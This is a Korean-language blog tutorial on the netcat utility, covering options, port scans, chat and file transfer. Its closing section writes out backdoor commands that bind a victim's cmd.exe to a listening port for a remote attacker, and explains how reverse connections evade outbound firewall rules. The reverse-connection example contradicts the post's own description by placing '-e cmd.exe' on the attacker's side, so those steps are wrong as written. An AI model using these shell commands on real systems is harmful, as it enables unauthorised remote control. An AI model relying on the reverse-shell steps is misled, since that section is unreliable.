본문 바로가기

유틸리티-사이트

netcat(nc) - 네트워크 연결 유틸리티

반응형

ி 개요


네트워크 연결 상태를 조사하거나 디버깅할 때 사용하는 유틸리티로
특정 호스트로 접속이 안되어 포트 오픈 여부를 확인하는 등 여러 가지 용도로 사용된다.
그러나 악용되면 원격지에 있는 공격자가 희생자의 단말의 명령 권한을 얻는
백도어의 일부로 쓰이기도 한다.

nc는 윈도우 기본 제공 도구가 아니므로 별도로 깔아야한다.
설치 주소 - https://eternallybored.org/misc/netcat/



ி 사용법




Netcat 명령어 구성


nc [옵션] [목표 시스템] [원격지 포트]



Netcat 주요 옵션


-l : Netcat listen mode
-u : Netcat TCP(기본값)에서 UDP 모드로 전환한다.
-p port : 리스너의 경우 수신 포트, 클라이언트의 경우 출발지 포트다.
-e : 연결 후 수행 할 작업
-L : 영구 리스너 생성. (Windows만 작동)
-s addr : 출발지 ip 주소
-n : DNS 주소 변환 기능 끄기
-z : 데이터 전송 안 함.
-w secs : 시간 종료 값을 정의
-v : 상세 모드




ி 사용 사례




포트 스캐닝



특정 호스트의 포트 상태 확인


> nc -zv 호스트주소 포트
> nc -zv daum.net 80


Warning: inverse host lookup failed for 오류는
DNS 역방향 조회 실패로 인한 오류인데 -n 옵션을 추가해서
DNS 조회 기능을 끄면 출력되지 않는다.




특정 호스트의 포트 범위 확인


> nc -zv 호스트주소 시작포트-끝포트
> nc -zv daum.net 21-25




UDP를 사용하는 NTP 서버의 포트 확인

> nc -zuv kr.pool.ntp.org 123



채팅


[server] > nc -l -p 1234
[client] > nc 127.0.0.1 1234



서버에 입력된 채팅은 클라이언트로 뿌려진다.



서버에서 클라이언트로 파일 전송


[server] > nc -l -p 1234 < file
[client] > nc 127.0.0.1 1234 > file



클라이언트의 Desktop에 send_server.txt 파일이 전송된다.

전송 방향을 바꿀려면 반대로 설정한다.



원격 제어


원격제어에서 쓰이는 백도어는 공격자가 피해자의 시스템 침입에 성공하여

netcat(nc)을 내려받은 뒤 다음 공격할 때 접근할 포트를 항시 열어두기 위한 작업을 한다.



백도어

[피해자] > nc -l -p 1234 -e cmd.exe
[공격자] > nc [피해자 IP] 1234

연결 수립 시 피해자가 공격자의 cmd로 바운딩되어 임의의 명령어를 입력할 수 있다.



피해자 단말에서 실행된 명령의 결과가 공격자의 화면에 출력되는데
가령 공격자가 ipconfig를 입력하면 공격자의 ip가 아닌 피해자의 ip가 출력될 것이다.



리버스 커넥션

[피해자] > nc -l -p 1234
[공격자] > nc [피해자 IP] 1234 -e cmd.exe

리버스 커넥션은 피해자 단말  공격자 단말 로 접속하게 하는 방법으로,

위 백도어 연결 방식과는 달리 원격 호스트가 서버로 연결하여 cmd를 실행한다.



➽ 리버스 커넥션 공격을 하는 이유

내부에서 외부로 나가는 방화벽 정책은
그 반대의 경우보다 허술하게 설정되어 있는 점을 악용한 공격인데,
원리는 공격자 단말에서 피해자 단말로 접속하는게 아닌
피해자 단말에서 공격자 단말로 접속하는 것이라서 방화벽을 쉽게 우회할 수 있다.


반응형